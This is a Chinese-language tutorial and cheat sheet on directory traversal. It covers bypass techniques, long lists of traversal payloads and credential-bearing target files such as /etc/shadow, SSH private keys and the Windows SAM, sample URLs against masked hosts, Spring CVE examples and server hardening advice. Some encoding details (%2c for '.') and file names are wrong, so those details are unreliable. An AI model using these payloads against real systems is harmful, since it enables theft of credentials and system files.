浅谈目录穿越

介绍

目录遍历(目录穿越)是一个Web安全漏洞,攻击者可以利用该漏洞读取运行应用程序的服务器上的任意文件。 这可能包括应用程序代码和数据,后端系统的登录信息以及敏感的操作系统文件

在某些情况下,攻击者可能能够在服务器上写入任意文件,(如,FFFTP 是一款小型的 FTP 客户端软件。FFFTP客户端没有正确地验证 FTP 服务器所返回的 LIST 命令响应中包含有目录遍历序列(斜线)的文件名,如果用户受骗从恶意的 FTP 服务器下载的目录包含有带有恶意文件名的文件的话,就可能导致向用户系统的任意位置写入文件)从而允许他们修改应用程序数据或行为,并最终完全控制服务器

姿势

0x00 基础目录遍历

直接利用 ../ 返回上一级来遍历任意文件

1
../../../etc/passwd

0x01 绝对路径

web网站有时候会采取目录遍历的防御措施,如过滤 ../ 上一级等关键字,然后简单的过滤通常会被绕过。有时候可以直接采用绝对路径,无须 ../ 返回上一级目录遍历

1
/etc/passwd

0x02 双写../绕过

有时候,防御措施是直接将 ../ 替换为空,可以直接采用双写直接绕过:

1
....//....//....///etc/passwd

0x03 URL编码绕过

也可以采用 URL 编码来绕过服务器对 . 或者 / 的检测

. => %2c

/ => %2f

% => %25 (双重URL编码)

0x04 绝对路径配合 ../

有些 web 在获取文件时,会首先判断是否以一个固定的路径开头

那么就可以配合 ../ 来返回上一级遍历任意文件

1
/var/www/images/../../../etc/passwd

0x05 截断文件后缀

某些 web 对文件类型作了限制,只有当后缀为图片时才解析

这时候就可以利用 %00 来截断

1
../../../etc/passwd%00.jpg

0x0x

要读取根目录下的文件的话 ../ 可以随意拼接任意个,就像 ../../../../../../../../../../../../../../../../../../../../../../

因为到了根目录再返回上级目录依然是根目录

防御

防止文件路径遍历漏洞的最有效方法是避免将用户提供的输入完全传递给文件系统API

如果认为不可避免的是将用户提供的输入传递给文件系统 API,则应同时使用两层防御,以防止受到攻击:

  • 应用程序应在处理之前验证用户输入。理想情况下,验证应与允许值的白名单进行比较。如果所需的功能无法做到这一点,则验证应验证输入内容仅包含允许的内容,例如纯字母数字字符
  • 验证提供的输入后,应用程序应将输入附加到基本目录,并使用平台文件系统 API 规范化路径。验证规范化路径以预期的基本目录开头

攻击路径整理

文件整理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
C:\WINDOWS\system32\drivers\etc\hosts #Win10
C:\boot.int #Win7 隐藏文件
web.xml #Java Web项目配置文件
/WEB-INF/web.xml
C:\Program Files\mysql\my.ini #Mysql下配置文件
/etc/passwd
/etc/hosts
/etc/group
/etc/shadow
/.htaccess
/phpinfo.php
/inc/db.php
/inc/conn.php
/Windows/system.ini

# Tomcat
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

# Windows + IIS + asp
http://test.com/scripts/..%5c../Windows/System32/cmd.exe?/c+dir+c:\ # 老版本 - IIS CGI文件名解码漏洞
http://test.com/show.asp?view=../../../../../Windows/system.ini

路径整理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/../../../../../../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../../../etc/passwd%00
http://xx.xx.com/en/..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\/etc/sysconfig/network-scripts/ifcfg-eth1
../../../../../../../../../../etc/passwd
....//....//static/xx.php%00.png

../../../WEB-INF/web.xml

C:/inetpub/wwwroot/global.asa
C:\inetpub\wwwroot\global.asa
C:/boot.ini
C:\boot.ini
D:\inetpub\wwwroot\global.asa
D:/inetpub/wwwroot/global.asa

xx.php?vt=&cate=/../../../../../../../../../../../../../../../../../etc/passwd%00
http://xx.xx.com/doc/index?md=diagnose_api&app=../../../../../../../../../../../../../../etc/passwd%00
http://xx.xx.com/en/..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\/etc/sysconfig/network-scripts/ifcfg-eth1
http://xx.xx.xx.xx/pcheck/index.php?action=showPcheck&report=../../../../../../../../../../etc/passwd
http://xx.xx.com/xx/img.php?s=16,40&n=....//....//static/xx.php%00.png


C:/inetpub/wwwroot/global.asa
C:\inetpub\wwwroot\global.asa
C:/boot.ini
C:\boot.ini
D:\inetpub\wwwroot\global.asa
D:/inetpub/wwwroot/global.asa

http://2xx.xx.xx.xx:8080/xampp/showcode.php/c:xampp/htdocs/xampp/showcode.php?showcode=1
https://xx.xx.com/static/images/couch-ipad.png../../../../../../../etc/passwd
http://gmu.xx.com/demo/data/tabs/proxy.php?debug=1&key=&file=file:///etc/hosts
http://gmu.xx.com/demo/data/tabs/proxy.php?debug=1&key=&file=file:///etc/passwd
http://xx.xx.com/frame_scc/downLoad?template=../../../../../../../../../etc/passwd
http://xx.12.22.xx/downloadFile.do?fileName=/../../../../../../../etc/passwd

CVE-2014-3625

1
2
http://218.2.197.XX:18015/spring-css/resources/file:/etc/passwd 
http://218.2.197.XX:18015/spring-css/resources/file:/etc/flag

CVE-2018-1271

1
http://127.0.0.1:8080/spring-mvc-showcase/resources/xxx/..%5c/..%5c/..%5c/windows/win.ini

路径遍历检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/proc/config.gz/etc/my.cnf
C:\Program Files\mysql\data\mysql\user.MYD
C:\Windows\php.in
C:\Windows\my.ini
C:\boot.int
C:\Windows\System32\inetsrc\MetaBase.xml
C:\Windows\repair\sam
../../ierp/bin/prop.xml

防御

1
2
3
4
5
6
7
8
9
Apache
在httpd.conf文件中找到 Options +Indexes +FollowSymLinks +ExecCGI 并修改成 Options -Indexes+FollowSymLinks +ExecCGI 并保存

Tomcat
修改conf/web.xml,将true 改为false 重启tomcat

IIS
1、在服务器端,打开 控制面板 -->管理工具--> IIS管理器
2、右击默认网站 --> 属性--> 主目录 -->取消“目录浏览”复选框